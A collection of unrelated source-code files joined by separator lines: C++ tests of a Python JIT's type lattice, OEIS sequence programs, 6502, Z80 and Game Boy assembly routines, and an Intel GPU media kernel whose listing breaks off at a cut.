EXPECT_EQ(str_obj | str_obj, str_obj);
EXPECT_NE(class_obj, int_obj);
EXPECT_NE(class_obj, str_obj);
EXPECT_NE(int_obj, str_obj);
// Primitive types
auto five = Type::fromCInt(5, TCInt32);
EXPECT_FALSE(five < my_class);
EXPECT_FALSE(my_class < five);
EXPECT_EQ(five & my_class, TBottom);
EXPECT_EQ(five | my_class, TCInt32 | TUser);
EXPECT_EQ(class_obj | five, TCInt32 | TMortalObjectUser);
}
TEST_F(HIRTypeTest, UserExceptionInheritance) {
const char* py_src = R"(
class MyBaseException(BaseException): pass
class MySubBaseException(MyBaseException): pass
class MyException(Exception): pass
class MyBoth(MyException, MyBaseException): pass
)";
ASSERT_TRUE(runCode(py_src));
Ref<PyTypeObject> my_base_exc_pytype(getGlobal("MyBaseException"));
ASSERT_NE(my_base_exc_pytype, nullptr);
Ref<PyTypeObject> my_sub_base_exc_pytype(getGlobal("MySubBaseException"));
ASSERT_NE(my_sub_base_exc_pytype, nullptr);
Ref<PyTypeObject> my_exc_pytype(getGlobal("MyException"));
ASSERT_NE(my_exc_pytype, nullptr);
Ref<PyTypeObject> my_both_pytype(getGlobal("MyBoth"));
ASSERT_NE(my_both_pytype, nullptr);
auto my_base_exc = Type::fromType(my_base_exc_pytype);
auto my_base_exc_exact = Type::fromTypeExact(my_base_exc_pytype);
auto my_sub_base_exc = Type::fromType(my_sub_base_exc_pytype);
auto my_exc = Type::fromType(my_exc_pytype);
auto my_exc_exact = Type::fromTypeExact(my_exc_pytype);
auto my_both = Type::fromType(my_both_pytype);
auto my_both_exact = Type::fromTypeExact(my_both_pytype);
EXPECT_EQ(my_base_exc.toString(), "BaseExceptionUser[MyBaseException]");
EXPECT_EQ(
my_base_exc_exact.toString(), "BaseExceptionUser[MyBaseException:Exact]");
EXPECT_EQ(
my_sub_base_exc.toString(), "BaseExceptionUser[MySubBaseException]");
EXPECT_EQ(my_exc.toString(), "BaseExceptionUser[MyException]");
EXPECT_EQ(my_exc_exact.toString(), "BaseExceptionUser[MyException:Exact]");
EXPECT_EQ(my_both.toString(), "BaseExceptionUser[MyBoth]");
EXPECT_EQ(my_both_exact.toString(), "BaseExceptionUser[MyBoth:Exact]");
EXPECT_TRUE(my_base_exc < TBaseExceptionUser);
EXPECT_FALSE(my_base_exc <= my_exc);
EXPECT_FALSE(my_base_exc <= my_sub_base_exc);
EXPECT_FALSE(my_base_exc <= my_both);
EXPECT_TRUE(my_base_exc_exact < my_base_exc);
EXPECT_TRUE(my_sub_base_exc < TBaseExceptionUser);
EXPECT_TRUE(my_sub_base_exc < my_base_exc);
EXPECT_FALSE(my_sub_base_exc <= my_exc);
EXPECT_TRUE(my_exc < TBaseExceptionUser);
EXPECT_FALSE(my_exc <= my_base_exc);
EXPECT_TRUE(my_exc_exact < my_exc);
EXPECT_TRUE(my_both < TBaseExceptionUser);
EXPECT_TRUE(my_both < TBaseException);
EXPECT_TRUE(my_both < my_base_exc);
EXPECT_TRUE(my_both < my_exc);
EXPECT_TRUE(my_both < (my_base_exc & my_exc));
EXPECT_TRUE(my_both_exact < my_both);
EXPECT_EQ(
(my_exc & my_base_exc).toString(), "BaseExceptionUser[MyBaseException]");
EXPECT_EQ(my_base_exc_exact & my_exc, TBottom);
EXPECT_EQ(my_base_exc & my_exc_exact, TBottom);
EXPECT_EQ(my_base_exc_exact & my_exc_exact, TBottom);
}
TEST_F(HIRTypeTest, BuiltinMultipleInheritance) {
const char* py_src = R"(
class ObjectSub:
pass
class IntSub(int):
pass
class IntObjectSub(int, ObjectSub):
pass
class IntSubObjectSub(IntSub, ObjectSub):
pass
class IntSubObjectSub2(IntSub, ObjectSub):
pass
)";
ASSERT_TRUE(runCode(py_src));
Ref<PyTypeObject> obj_sub_pytype(getGlobal("ObjectSub"));
ASSERT_NE(obj_sub_pytype, nullptr);
Ref<PyTypeObject> int_sub_pytype(getGlobal("IntSub"));
ASSERT_NE(int_sub_pytype, nullptr);
Ref<PyTypeObject> int_obj_sub_pytype(getGlobal("IntObjectSub"));
ASSERT_NE(int_obj_sub_pytype, nullptr);
Ref<PyTypeObject> int_sub_obj_sub_pytype(getGlobal("IntSubObjectSub"));
ASSERT_NE(int_sub_obj_sub_pytype, nullptr);
Ref<PyTypeObject> int_sub_obj_sub2_pytype(getGlobal("IntSubObjectSub2"));
auto obj_sub = Type::fromType(obj_sub_pytype);
auto int_sub = Type::fromType(int_sub_pytype);
auto int_sub_exact = Type::fromTypeExact(int_sub_pytype);
auto int_obj_sub = Type::fromType(int_obj_sub_pytype);
auto int_sub_obj_sub = Type::fromType(int_sub_obj_sub_pytype);
auto int_sub_obj_sub2 = Type::fromType(int_sub_obj_sub2_pytype);
EXPECT_EQ(obj_sub.toString(), "User[ObjectSub]");
EXPECT_EQ(int_sub.toString(), "LongUser[IntSub]");
EXPECT_EQ(int_sub_exact.toString(), "LongUser[IntSub:Exact]");
EXPECT_EQ(int_obj_sub.toString(), "LongUser[IntObjectSub]");
EXPECT_EQ(int_sub_obj_sub.toString(), "LongUser[IntSubObjectSub]");
EXPECT_EQ(int_sub_obj_sub2.toString(), "LongUser[IntSubObjectSub2]");
EXPECT_TRUE(obj_sub < TObject);
EXPECT_FALSE(obj_sub < TLong);
EXPECT_FALSE(obj_sub < TLongUser);
EXPECT_FALSE(obj_sub < int_sub);
EXPECT_FALSE(obj_sub < int_obj_sub);
EXPECT_FALSE(obj_sub < int_sub_obj_sub);
EXPECT_TRUE(int_sub < TObject);
EXPECT_TRUE(int_sub < TLong);
EXPECT_TRUE(int_sub < TLongUser);
EXPECT_FALSE(int_sub < obj_sub);
EXPECT_FALSE(int_sub < int_sub_exact);
EXPECT_FALSE(int_sub < int_obj_sub);
EXPECT_FALSE(int_sub < int_sub_obj_sub);
EXPECT_TRUE(int_sub_exact < TObject);
EXPECT_TRUE(int_sub_exact < TLong);
EXPECT_TRUE(int_sub_exact < TLongUser);
EXPECT_FALSE(int_sub_exact < obj_sub);
EXPECT_TRUE(int_sub_exact < int_sub);
EXPECT_FALSE(int_sub_exact < int_obj_sub);
EXPECT_FALSE(int_sub_exact < int_sub_obj_sub);
EXPECT_TRUE(int_obj_sub < TObject);
EXPECT_TRUE(int_obj_sub < TLong);
EXPECT_TRUE(int_obj_sub < TLongUser);
EXPECT_TRUE(int_obj_sub < obj_sub);
EXPECT_FALSE(int_obj_sub < int_sub);
EXPECT_FALSE(int_obj_sub < int_sub_exact);
EXPECT_FALSE(int_obj_sub < int_sub_obj_sub);
EXPECT_TRUE(int_sub_obj_sub < TObject);
EXPECT_TRUE(int_sub_obj_sub < TLong);
EXPECT_TRUE(int_sub_obj_sub < TLongUser);
EXPECT_TRUE(int_sub_obj_sub < obj_sub);
EXPECT_TRUE(int_sub_obj_sub < int_sub);
EXPECT_FALSE(int_sub_obj_sub < int_sub_exact);
EXPECT_FALSE(int_sub_obj_sub < int_obj_sub);
EXPECT_FALSE(int_sub_obj_sub < int_sub_obj_sub2);
EXPECT_EQ(int_sub & obj_sub, int_sub);
EXPECT_EQ(obj_sub & int_sub, int_sub);
EXPECT_TRUE(int_sub_obj_sub < (int_sub & obj_sub));
EXPECT_TRUE(int_sub_obj_sub2 < TObject);
EXPECT_TRUE(int_sub_obj_sub2 < TLong);
EXPECT_TRUE(int_sub_obj_sub2 < TLongUser);
EXPECT_TRUE(int_sub_obj_sub2 < obj_sub);
EXPECT_TRUE(int_sub_obj_sub2 < int_sub);
EXPECT_FALSE(int_sub_obj_sub2 < int_sub_exact);
EXPECT_FALSE(int_sub_obj_sub2 < int_obj_sub);
EXPECT_FALSE(int_sub_obj_sub2 < int_sub_obj_sub2);
EXPECT_NE(int_sub_obj_sub, int_sub_obj_sub2);
auto user_long_obj = obj_sub & TLong;
EXPECT_EQ(user_long_obj.toString(), "LongUser[ObjectSub]");
EXPECT_FALSE(int_sub < user_long_obj);
EXPECT_TRUE(int_obj_sub < user_long_obj);
EXPECT_TRUE(int_sub_obj_sub < user_long_obj);
EXPECT_TRUE(int_sub_obj_sub2 < user_long_obj);
}
TEST_F(HIRTypeTest, ReflowSimpleTypes) {
Function func;
auto b0 = func.cfg.entry_block = func.cfg.AllocateBlock();
auto b1 = func.cfg.AllocateBlock();
auto b2 = func.cfg.AllocateBlock();
auto b3 = func.cfg.AllocateBlock();
auto v0 = func.env.AllocateRegister();
auto v1 = func.env.AllocateRegister();
auto v2 = func.env.AllocateRegister();
// Types start as Top and are set appropriately by reflowTypes() later.
ASSERT_EQ(v0->type(), TTop);
ASSERT_EQ(v1->type(), TTop);
ASSERT_EQ(v2->type(), TTop);
b0->append<MakeDict>(v0, 0, FrameState{});
b0->append<CondBranch>(v0, b1, b2);
b1->append<Branch>(b3);
b2->append<MakeListTuple>(false, v1, 0, FrameState{});
b2->append<Branch>(b3);
std::unordered_map<BasicBlock*, Register*> phi_inputs{{b1, v0}, {b2, v1}};
b3->append<Phi>(v2, phi_inputs);
b3->append<Return>(v2);
ASSERT_TRUE(checkFunc(func, std::cerr));
reflowTypes(func);
EXPECT_EQ(v0->type(), TMortalDict);
EXPECT_EQ(v1->type(), TMortalListExact);
EXPECT_EQ(v2->type(), (TMortalDict | TMortalListExact));
}
TEST_F(HIRTypeTest, ReflowLoopTypes) {
Function func;
auto b0 = func.cfg.entry_block = func.cfg.AllocateBlock();
auto b1 = func.cfg.AllocateBlock();
auto b2 = func.cfg.AllocateBlock();
auto v0 = func.env.AllocateRegister();
auto v1 = func.env.AllocateRegister();
auto v2 = func.env.AllocateRegister();
b0->append<MakeListTuple>(true, v0, 4, FrameState{});
b0->append<Branch>(b1);
std::unordered_map<BasicBlock*, Register*> phi_inputs{{b0, v0}, {b1, v2}};
b1->append<Phi>(v1, phi_inputs);
b1->append<MakeDict>(v2, 0, FrameState{});
b1->append<CondBranch>(v2, b1, b2);
b2->append<Return>(v1);
ASSERT_TRUE(checkFunc(func, std::cerr));
reflowTypes(func);
EXPECT_EQ(v0->type(), TMortalTupleExact);
EXPECT_EQ(v1->type(), TMortalTupleExact | TMortalDict);
EXPECT_EQ(v2->type(), TMortalDict);
}
|
; A247160: Dynamic Betting Game D(n,4,3).
; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,256,257,258,259,260,261,262,263,264,265,266
add $0,1
mov $1,32
mul $1,$0
div $1,30
|
!zone splash_screen {
splash_screen
ldy #0
sty z_temp ; String number currently printing
splash_line_y
ldx splash_index_line,y
lda splash_index_col,y
tay
jsr set_cursor
ldy z_temp
ldx splash_index_lb,y
lda splash_index_hb,y
jsr printstring_raw
inc z_temp
ldy z_temp
cpy #5
bne splash_line_y
lda $a2
clc
adc #<(SPLASHWAIT*60)
sta z_temp + 2
lda $a1
adc #>(SPLASHWAIT*60)
sta z_temp + 1
- jsr kernal_getchar
bne +
lda z_temp + 2
cmp $a2
bne -
lda z_temp + 1
cmp $a1
bne -
+
lda #147
jmp s_printchar
!source "splashlines.asm"
splash_index_line
!byte 4, 6, 8, 10, 24
splash_index_lb
!byte <splashline0, <splashline1, <splashline2, <splashline3, <splashline4
splash_index_hb
!byte >splashline0, >splashline1, >splashline2, >splashline3, >splashline4
}
|
;*****************************************************
;
; Video Technology library for small C compiler
;
; Juergen Buchmueller
;
;*****************************************************
; ----- void __CALLEE__ vz_sound_callee(int freq, int cycles)
SECTION code_clib
PUBLIC vz_sound_callee
PUBLIC _vz_sound_callee
EXTERN ASMDISP_VZ_SOUND_CALLEE
.vz_sound_callee
._vz_sound_callee
pop de
pop bc
pop hl
push de
; bc = cycles
; hl = freq
.asmentry ; similar to z88dk bit_beep()
jp $345c ; sound
DEFC ASMDISP_VZ_SOUND_CALLEE = # asmentry - vz_sound_callee
|
;******************************************************************************
;*
;* Adjustris - Block dropping puzzle game for Gameboy
;*
;* Written in 2017 by Dave VanEe (tbsp) dave.vanee@gmail.com
;*
;* To the extent possible under law, the author(s) have dedicated all copyright
;* and related and neighboring rights to this software to the public domain
;* worldwide. This software is distributed without any warranty.
;*
;* You should have received a copy of the CC0 Public Domain Dedication along with
;* this software. If not, see <http://creativecommons.org/publicdomain/zero/1.0/>.
;*
;******************************************************************************
INCLUDE "gbhw.inc"
SECTION "HiRAM", HRAM
hPadPressed:: ds 1
hPadHeld:: ds 1
hPadReleased:: ds 1
hPadOld:: ds 1
SECTION "Joypad", ROM0
ReadJoyPad::
ldh a,[hPadHeld]
ldh [hPadOld],a
ld c,a
ld a,$20
ldh [rP1],a
ldh a,[rP1]
ldh a,[rP1]
cpl
and $0F
swap a
ld b,a
ld a,$10
ldh [rP1],a
ldh a,[rP1]
ldh a,[rP1]
ldh a,[rP1]
ldh a,[rP1]
ldh a,[rP1]
ldh a,[rP1]
cpl
and $0F
or b
ldh [hPadHeld],a
ld b,a
ld a,c
cpl
and b
ldh [hPadPressed],a
xor a
ldh [rP1],a
ldh a,[hPadOld]
ld b,a
ldh a,[hPadHeld]
cpl
and b
ldh [hPadReleased],a
ret
|
; A234510: a(n) = 7*binomial(9*n+7,n)/(9*n+7).
; Submitted by Jon Maiga
; 1,7,84,1232,20090,349860,6371764,119877472,2311664355,45448324110,907580289616,18358110017520,375353605696524,7744997102466932,161070300819384000,3372697621463787456,71046594621639707245,1504569659175026591805,32013490616435232789192,684058190392258691209200,14672742942553497425957970,315814638499940578709931792,6819008667198235144753917360,147659347506186745705574585760,3205889253801261767773059465075,69773947383768968913121652307204,1522001046298412337385396048622928
mov $1,1
sub $1,$0
mul $0,8
add $0,6
sub $1,2
bin $1,$0
add $0,1
mul $1,7
div $1,$0
mov $0,$1
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
and (16|M0) (ne)f0.0 null.0<1>:w r2.3<0;1,0>:uw 1:w
add (4|M0) a0.0<1>:w r22.0<4;4,1>:w 0x0:uw {AccWrEn}
(f0.0) mov (1|M0) r17.0<1>:uw a0.0<0;1,0>:uw
(f0.0) mov (1|M0) a0.0<1>:uw a0.2<0;1,0>:uw
(f0.0) mov (1|M0) a0.2<1>:uw r17.0<0;1,0>:uw
mov (8|M0) r27.0<1>:ud r0.0<8;8,1>:ud
shl (2|M0) r27.0<1>:d r7.0<2;2,1>:w 0x2:v
mov (1|M0) r27.2<1>:ud 0xF000F:ud
add (4|M0) a0.4<1>:w a0.0<4;4,1>:w r22.8<0;2,1>:w
mov (8|M0) r28.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r37.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r46.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r55.0<1>:ud r27.0<8;8,1>:ud
add (1|M0) r37.0<1>:d r27.0<0;1,0>:d 16:d
add (1|M0) r46.0<1>:d r27.0<0;1,0>:d 32:d
add (1|M0) r55.0<1>:d r27.0<0;1,0>:d 48:d
and (1|M0) r2.15<1>:uw r2.15<0;1,0>:uw 0xFF:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
mov (8|M0) r29.0<1>:ud 0x401004:ud
shr (8|M0) r29.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r30.0<1>:ud 0x401004:ud
shr (8|M0) r30.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r38.0<1>:ud 0x401004:ud
shr (8|M0) r38.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r39.0<1>:ud 0x401004:ud
shr (8|M0) r39.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r47.0<1>:ud 0x401004:ud
shr (8|M0) r47.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r48.0<1>:ud 0x401004:ud
shr (8|M0) r48.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r48.0<1>:ud r48.0<8;8,1>:ud 0x2:ud
mov (8|M0) r48.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r56.0<1>:ud 0x401004:ud
shr (8|M0) r56.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r56.0<1>:ud r56.0<8;8,1>:ud 0x2:ud
mov (8|M0) r56.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r57.0<1>:ud 0x401004:ud
shr (8|M0) r57.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r57.0<1>:ud r57.0<8;8,1>:ud 0x2:ud
mov (8|M0) r57.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
mov (8|M0) r31.0<1>:ud 0x401004:ud
shr (8|M0) r31.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r31.0<1>:ud r31.0<8;8,1>:ud 0x2:ud
mov (8|M0) r31.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r32.0<1>:ud 0x401004:ud
shr (8|M0) r32.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r32.0<1>:ud r32.0<8;8,1>:ud 0x2:ud
mov (8|M0) r32.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r40.0<1>:ud 0x401004:ud
shr (8|M0) r40.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r40.0<1>:ud r40.0<8;8,1>:ud 0x2:ud
mov (8|M0) r40.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r41.0<1>:ud 0x401004:ud
shr (8|M0) r41.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r41.0<1>:ud r41.0<8;8,1>:ud 0x2:ud
mov (8|M0) r41.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r49.0<1>:ud 0x401004:ud
shr (8|M0) r49.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r49.0<1>:ud r49.0<8;8,1>:ud 0x2:ud
mov (8|M0) r49.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r50.0<1>:ud 0x401004:ud
shr (8|M0) r50.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r50.0<1>:ud r50.0<8;8,1>:ud 0x2:ud
mov (8|M0) r50.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r58.0<1>:ud 0x401004:ud
shr (8|M0) r58.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r58.0<1>:ud r58.0<8;8,1>:ud 0x2:ud
mov (8|M0) r58.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r59.0<1>:ud 0x401004:ud
shr (8|M0) r59.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r59.0<1>:ud r59.0<8;8,1>:ud 0x2:ud
mov (8|M0) r59.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
